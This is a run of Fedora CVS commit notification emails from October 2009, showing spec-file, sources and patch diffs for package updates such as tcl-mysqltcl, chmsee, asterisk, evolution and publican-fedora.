--- import.log	6 Oct 2009 20:40:54 -0000	1.1
+++ import.log	7 Oct 2009 01:48:08 -0000	1.2
@@ -1 +1,2 @@
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254861572
+tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254880027


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/tcl-mysqltcl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tcl-mysqltcl.spec	6 Oct 2009 20:40:54 -0000	1.1
+++ tcl-mysqltcl.spec	7 Oct 2009 01:48:09 -0000	1.2
@@ -1,3 +1,13 @@
+#needed for building on RHEL-4
+%if 0%{?rhel}
+  %if "%rhel" <= "4"
+    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
+    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
+    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
+    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
+  %endif
+%endif 
+
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -8,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        4%{?dist}
+Release:        5%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -61,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
+- Fix build on EL-4
+
 * Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
 - Removed unnecessary Obsoletes tag
 



From mbarnes at fedoraproject.org  Wed Oct  7 01:48:22 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Wed,  7 Oct 2009 01:48:22 +0000 (UTC)
Subject: rpms/evolution/F-12 evolution.spec,1.417,1.418
Message-ID: <20091007014822.43C1B11C00C1@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23369

Modified Files:
	evolution.spec 
Log Message:
Fix release.



Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.417
retrieving revision 1.418
diff -u -p -r1.417 -r1.418
--- evolution.spec	7 Oct 2009 01:46:56 -0000	1.417
+++ evolution.spec	7 Oct 2009 01:48:22 -0000	1.418
@@ -43,7 +43,7 @@
 
 Name: evolution
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/Productivity
 Summary: Mail and calendar client for GNOME
 License: GPLv2+ and GFDL



From bbbush at fedoraproject.org  Wed Oct  7 01:53:15 2009
From: bbbush at fedoraproject.org (Yuan Yijun)
Date: Wed,  7 Oct 2009 01:53:15 +0000 (UTC)
Subject: rpms/chmsee/devel chmsee-1.0.7-hardcode-libxul-version.patch, NONE, 
	1.1 .cvsignore, 1.6, 1.7 chmsee.spec, 1.32, 1.33 sources, 1.6,
	1.7 chmsee-1.0.6-disable-libxul-maxver.patch, 1.2, NONE
Message-ID: <20091007015315.0E98F11C00C1@cvs1.fedora.phx.redhat.com>

Author: bbbush

Update of /cvs/pkgs/rpms/chmsee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24471

Modified Files:
	.cvsignore chmsee.spec sources 
Added Files:
	chmsee-1.0.7-hardcode-libxul-version.patch 
Removed Files:
	chmsee-1.0.6-disable-libxul-maxver.patch 
Log Message:
upstream release

chmsee-1.0.7-hardcode-libxul-version.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE chmsee-1.0.7-hardcode-libxul-version.patch ---
diff -up chmsee-1.0.7/CMakeLists.txt.orig chmsee-1.0.7/CMakeLists.txt
--- chmsee-1.0.7/CMakeLists.txt.orig	2009-10-07 09:44:12.147230195 +0800
+++ chmsee-1.0.7/CMakeLists.txt	2009-10-07 09:48:38.072236977 +0800
@@ -18,7 +18,7 @@ if(XULRUNNER_VERSION MATCHES "1\\.8\\..*
 	set(XULRUNNER18 1)
 endif()
 if(XULRUNNER_VERSION MATCHES "1\\.9\\..*")
-	set(XULRUNNER19 1)
+	set(XULRUNNER191 1)
 endif()
 if(XULRUNNER_VERSION MATCHES "1\\.9\\.0\\..*")
 	set(XULRUNNER190 1)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	12 Jul 2009 15:11:07 -0000	1.6
+++ .cvsignore	7 Oct 2009 01:53:14 -0000	1.7
@@ -1 +1 @@
-chmsee-1.0.6.tar.gz
+chmsee-1.0.7.tar.gz


Index: chmsee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/devel/chmsee.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- chmsee.spec	24 Jul 2009 18:56:42 -0000	1.32
+++ chmsee.spec	7 Oct 2009 01:53:14 -0000	1.33
@@ -1,6 +1,6 @@
 Name:		chmsee
-Version:	1.0.6
-Release:	2%{?dist}
+Version:	1.0.7
+Release:	1%{?dist}
 Summary(zh_CN):	CHM ??????, ?? Gtk2+
 Summary:	A Gtk+2 CHM document viewer
 Group:		Applications/Publishing
@@ -9,14 +9,14 @@ URL:		http://code.google.com/p/chmsee
 Source0:	http://chmsee.googlecode.com/files/%{name}-%{version}.tar.gz
 # this file comes from gnochm package
 Source1:	gnochm-chmfile.png
-Patch0:		chmsee-1.0.6-disable-libxul-maxver.patch
+Patch0:		chmsee-1.0.7-hardcode-libxul-version.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	intltool >= 0.34 pkgconfig >= 0.9 gettext cmake
 BuildRequires:	gtk2-devel >= 2.8 libglade2-devel >= 2.0
 BuildRequires:	libgcrypt-devel chmlib-devel
 BuildRequires:	desktop-file-utils
-BuildRequires:	gecko-devel-unstable >= 1.9
+BuildRequires:	gecko-devel-unstable >= 1.9.1.1
 
 %description
 A gtk2 chm document viewer. 
@@ -54,11 +54,11 @@ only current file's.
 
 %prep
 %setup -q
-%patch0 -p1 -b .libxul-maxver
+%patch0 -p1 -b .libxul
 
 %build
 %cmake .
-make VERBOSE=1 %{?_smp_mflags}
+make VERBOSE=1 %{?_smp_mflags} XULRUNNER_VERSION=1.9.1.1
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -106,6 +106,9 @@ rm -rf $RPM_BUILD_ROOT
 #{_mandir}/man1/chmsee*.1*
 
 %changelog
+* Wed Oct 07 2009 bbbush <bbbush.yuan at gmail.com> - 1.0.7-1
+- upstream release, fixed crash
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	12 Jul 2009 15:11:08 -0000	1.6
+++ sources	7 Oct 2009 01:53:14 -0000	1.7
@@ -1 +1 @@
-7a42795038e138ee233952b525373b08  chmsee-1.0.6.tar.gz
+66fbcc569d6a489d39536ea7d177bc34  chmsee-1.0.7.tar.gz


--- chmsee-1.0.6-disable-libxul-maxver.patch DELETED ---



From bbbush at fedoraproject.org  Wed Oct  7 02:02:40 2009
From: bbbush at fedoraproject.org (Yuan Yijun)
Date: Wed,  7 Oct 2009 02:02:40 +0000 (UTC)
Subject: rpms/chmsee/F-12 chmsee-1.0.7-hardcode-libxul-version.patch, NONE, 
	1.1 .cvsignore, 1.6, 1.7 chmsee.spec, 1.32, 1.33 sources, 1.6,
	1.7 chmsee-1.0.6-disable-libxul-maxver.patch, 1.2, NONE
Message-ID: <20091007020240.DE55A11C00C1@cvs1.fedora.phx.redhat.com>

Author: bbbush

Update of /cvs/pkgs/rpms/chmsee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27178

Modified Files:
	.cvsignore chmsee.spec sources 
Added Files:
	chmsee-1.0.7-hardcode-libxul-version.patch 
Removed Files:
	chmsee-1.0.6-disable-libxul-maxver.patch 
Log Message:
upstream release

chmsee-1.0.7-hardcode-libxul-version.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE chmsee-1.0.7-hardcode-libxul-version.patch ---
diff -up chmsee-1.0.7/CMakeLists.txt.orig chmsee-1.0.7/CMakeLists.txt
--- chmsee-1.0.7/CMakeLists.txt.orig	2009-10-07 09:44:12.147230195 +0800
+++ chmsee-1.0.7/CMakeLists.txt	2009-10-07 09:48:38.072236977 +0800
@@ -18,7 +18,7 @@ if(XULRUNNER_VERSION MATCHES "1\\.8\\..*
 	set(XULRUNNER18 1)
 endif()
 if(XULRUNNER_VERSION MATCHES "1\\.9\\..*")
-	set(XULRUNNER19 1)
+	set(XULRUNNER191 1)
 endif()
 if(XULRUNNER_VERSION MATCHES "1\\.9\\.0\\..*")
 	set(XULRUNNER190 1)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	12 Jul 2009 15:11:07 -0000	1.6
+++ .cvsignore	7 Oct 2009 02:02:39 -0000	1.7
@@ -1 +1 @@
-chmsee-1.0.6.tar.gz
+chmsee-1.0.7.tar.gz


Index: chmsee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/F-12/chmsee.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- chmsee.spec	24 Jul 2009 18:56:42 -0000	1.32
+++ chmsee.spec	7 Oct 2009 02:02:40 -0000	1.33
@@ -1,6 +1,6 @@
 Name:		chmsee
-Version:	1.0.6
-Release:	2%{?dist}
+Version:	1.0.7
+Release:	1%{?dist}
 Summary(zh_CN):	CHM ??????, ?? Gtk2+
 Summary:	A Gtk+2 CHM document viewer
 Group:		Applications/Publishing
@@ -9,14 +9,14 @@ URL:		http://code.google.com/p/chmsee
 Source0:	http://chmsee.googlecode.com/files/%{name}-%{version}.tar.gz
 # this file comes from gnochm package
 Source1:	gnochm-chmfile.png
-Patch0:		chmsee-1.0.6-disable-libxul-maxver.patch
+Patch0:		chmsee-1.0.7-hardcode-libxul-version.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	intltool >= 0.34 pkgconfig >= 0.9 gettext cmake
 BuildRequires:	gtk2-devel >= 2.8 libglade2-devel >= 2.0
 BuildRequires:	libgcrypt-devel chmlib-devel
 BuildRequires:	desktop-file-utils
-BuildRequires:	gecko-devel-unstable >= 1.9
+BuildRequires:	gecko-devel-unstable >= 1.9.1.1
 
 %description
 A gtk2 chm document viewer. 
@@ -54,7 +54,7 @@ only current file's.
 
 %prep
 %setup -q
-%patch0 -p1 -b .libxul-maxver
+%patch0 -p1 -b .libxul
 
 %build
 %cmake .
@@ -106,6 +106,9 @@ rm -rf $RPM_BUILD_ROOT
 #{_mandir}/man1/chmsee*.1*
 
 %changelog
+* Wed Oct 07 2009 bbbush <bbbush.yuan at gmail.com> - 1.0.7-1
+- upstream release, fixed crash
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chmsee/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	12 Jul 2009 15:11:08 -0000	1.6
+++ sources	7 Oct 2009 02:02:40 -0000	1.7
@@ -1 +1 @@
-7a42795038e138ee233952b525373b08  chmsee-1.0.6.tar.gz
+66fbcc569d6a489d39536ea7d177bc34  chmsee-1.0.7.tar.gz


--- chmsee-1.0.6-disable-libxul-maxver.patch DELETED ---



From jcollie at fedoraproject.org  Wed Oct  7 02:13:10 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Wed,  7 Oct 2009 02:13:10 +0000 (UTC)
Subject: rpms/asterisk/devel .cvsignore, 1.23, 1.24 asterisk.spec, 1.58,
	1.59 sources, 1.23, 1.24
Message-ID: <20091007021310.B2E7711C00C1@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30760

Modified Files:
	.cvsignore asterisk.spec sources 
Log Message:
* Tue Oct  6 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.4.rc3
- Update to 1.6.2.0-rc3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	30 Sep 2009 16:57:57 -0000	1.23
+++ .cvsignore	7 Oct 2009 02:13:10 -0000	1.24
@@ -1,3 +1,3 @@
-asterisk-1.6.2.0-rc2.tar.gz
-asterisk-1.6.2.0-rc2.tar.gz.asc
 asterisk-developer-pubring.gpg
+asterisk-1.6.2.0-rc3.tar.gz
+asterisk-1.6.2.0-rc3.tar.gz.asc


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/asterisk.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- asterisk.spec	1 Oct 2009 11:49:19 -0000	1.58
+++ asterisk.spec	7 Oct 2009 02:13:10 -0000	1.59
@@ -1,8 +1,8 @@
-%define _rc 2
+%define _rc 3
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.2.0
-Release: 0.3%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.4%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -1008,6 +1008,9 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Tue Oct  6 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.4.rc3
+- Update to 1.6.2.0-rc3
+
 * Wed Sep 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.3.rc2
 - Merge firmware subpackage back into the main package.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	30 Sep 2009 16:57:58 -0000	1.23
+++ sources	7 Oct 2009 02:13:10 -0000	1.24
@@ -1,3 +1,3 @@
-8e17e49736259f673c28b6ec8c5ac6b0  asterisk-1.6.2.0-rc2.tar.gz
-8f4b07dc08c8a734773fbbe38b277d94  asterisk-1.6.2.0-rc2.tar.gz.asc
 dd089905d0ba9a514359dc2cf1a53303  asterisk-developer-pubring.gpg
+86391d9be841fc79806b79232f2b5236  asterisk-1.6.2.0-rc3.tar.gz
+69b8abefaf8d4a8abfa1b75b7e83d0d6  asterisk-1.6.2.0-rc3.tar.gz.asc



From whot at fedoraproject.org  Wed Oct  7 02:24:51 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Wed,  7 Oct 2009 02:24:51 +0000 (UTC)
Subject: rpms/xorg-x11-drv-keyboard/F-12 .cvsignore, 1.14, 1.15 sources, 1.14,
	1.15 xorg-x11-drv-keyboard.spec, 1.34, 1.35
Message-ID: <20091007022451.4B8CC11C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-keyboard/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv729

Modified Files:
	.cvsignore sources xorg-x11-drv-keyboard.spec 
Log Message:
* Wed Oct 07 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.4.0-1
- keyboard 1.4.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-keyboard/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	9 Sep 2009 02:17:50 -0000	1.14
+++ .cvsignore	7 Oct 2009 02:24:49 -0000	1.15
@@ -1 +1 @@
-xf86-input-keyboard-1.3.99.1.tar.bz2
+xf86-input-keyboard-1.4.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-keyboard/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	9 Sep 2009 02:17:50 -0000	1.14
+++ sources	7 Oct 2009 02:24:49 -0000	1.15
@@ -1 +1 @@
-94a849a5eb041124b993e3fe4eaaa7f1  xf86-input-keyboard-1.3.99.1.tar.bz2
+fd17158ffeacecc8cc670604460cb98b  xf86-input-keyboard-1.4.0.tar.bz2


Index: xorg-x11-drv-keyboard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-keyboard/F-12/xorg-x11-drv-keyboard.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- xorg-x11-drv-keyboard.spec	9 Sep 2009 02:17:50 -0000	1.34
+++ xorg-x11-drv-keyboard.spec	7 Oct 2009 02:24:49 -0000	1.35
@@ -6,7 +6,7 @@
 
 Summary:    Xorg X11 keyboard input driver
 Name:	    xorg-x11-drv-keyboard
-Version:    1.3.99.1
+Version:    1.4.0
 Release:    1%{?dist}
 URL:	    http://www.x.org
 License:    MIT
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 #{_mandir}/man4/keyboard.4*
 
 %changelog
+* Wed Oct 07 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.4.0-1
+- keyboard 1.4.0
+
 * Wed Sep 09 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3.99.1-1
 - keyboard 1.3.99.1
 



From renep at fedoraproject.org  Wed Oct  7 02:31:19 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Wed,  7 Oct 2009 02:31:19 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, 1.2, 1.3 tcl-mysqltcl.spec, 1.2,
	1.3
Message-ID: <20091007023119.E208F11C0298@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2315/devel

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
revert last commit - handle EL-4 in its own branch only


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	7 Oct 2009 01:48:08 -0000	1.2
+++ import.log	7 Oct 2009 02:31:19 -0000	1.3
@@ -1,2 +1,3 @@
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254861572
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254880027
+tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/tcl-mysqltcl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tcl-mysqltcl.spec	7 Oct 2009 01:48:09 -0000	1.2
+++ tcl-mysqltcl.spec	7 Oct 2009 02:31:19 -0000	1.3
@@ -1,13 +1,3 @@
-#needed for building on RHEL-4
-%if 0%{?rhel}
-  %if "%rhel" <= "4"
-    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
-    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
-    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
-    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
-  %endif
-%endif 
-
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -18,7 +8,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        5%{?dist}
+Release:        4%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,9 +61,6 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
-- Fix build on EL-4
-
 * Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
 - Removed unnecessary Obsoletes tag
 



From renep at fedoraproject.org  Wed Oct  7 02:37:35 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Wed,  7 Oct 2009 02:37:35 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, 1.3, 1.4 tcl-mysqltcl.spec, 1.3,
	1.4
Message-ID: <20091007023735.183E011C00C1@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4454/devel

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	7 Oct 2009 02:31:19 -0000	1.3
+++ import.log	7 Oct 2009 02:37:34 -0000	1.4
@@ -1,3 +1,4 @@
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254861572
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254880027
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
+tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/tcl-mysqltcl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tcl-mysqltcl.spec	7 Oct 2009 02:31:19 -0000	1.3
+++ tcl-mysqltcl.spec	7 Oct 2009 02:37:34 -0000	1.4
@@ -1,3 +1,13 @@
+#needed for building on RHEL-4
+%if 0%{?rhel}
+  %if "%rhel" <= "4"
+    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
+    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
+    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
+    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
+  %endif
+%endif 
+
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -8,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        4%{?dist}
+Release:        5%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -61,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
+- Fix build on EL-4
+
 * Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
 - Removed unnecessary Obsoletes tag
 



From rlandmann at fedoraproject.org  Wed Oct  7 02:38:52 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 02:38:52 +0000 (UTC)
Subject: rpms/publican-fedora/devel import.log, 1.1, 1.2 publican-fedora.spec,
	1.12, 1.13 sources, 1.11, 1.12
Message-ID: <20091007023852.53EF311C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4806/devel

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
* Mon Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback into Ukrainian



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Oct 2009 06:34:59 -0000	1.1
+++ import.log	7 Oct 2009 02:38:52 -0000	1.2
@@ -1 +1,2 @@
 publican-fedora-0_19-1_fc11:HEAD:publican-fedora-0.19-1.fc11.src.rpm:1254724218
+publican-fedora-0_19-2_fc11:HEAD:publican-fedora-0.19-2.fc11.src.rpm:1254883023


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/publican-fedora.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- publican-fedora.spec	5 Oct 2009 06:34:59 -0000	1.12
+++ publican-fedora.spec	7 Oct 2009 02:38:52 -0000	1.13
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
+- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Update Fedora Feedback into Ukrainian
 * Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
 - Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
 - Add Fedora logos with correct trademarks. BZ #492041


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	5 Oct 2009 06:34:59 -0000	1.11
+++ sources	7 Oct 2009 02:38:52 -0000	1.12
@@ -1 +1 @@
-e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz
+266856d208bd2b25332d7070f13153c6  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Wed Oct  7 02:40:54 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Wed,  7 Oct 2009 02:40:54 +0000 (UTC)
Subject: rpms/publican-fedora/EL-4 import.log, 1.1, 1.2 publican-fedora.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007024054.DB20411C00C1@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5301/EL-4

Modified Files:
	import.log publican-fedora.spec sources 
Log Message:
* Mon Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Update Fedora Feedback into Ukrainian




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Oct 2009 08:03:40 -0000	1.1
+++ import.log	7 Oct 2009 02:40:54 -0000	1.2
@@ -1 +1,2 @@
 publican-fedora-0_19-1_fc11:EL-4:publican-fedora-0.19-1.fc11.src.rpm:1254729733
+publican-fedora-0_19-2_fc11:EL-4:publican-fedora-0.19-2.fc11.src.rpm:1254883153


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/publican-fedora.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- publican-fedora.spec	5 Oct 2009 08:03:41 -0000	1.2
+++ publican-fedora.spec	7 Oct 2009 02:40:54 -0000	1.3
@@ -3,7 +3,7 @@
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
 Version:	0.19
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
+- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
+- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
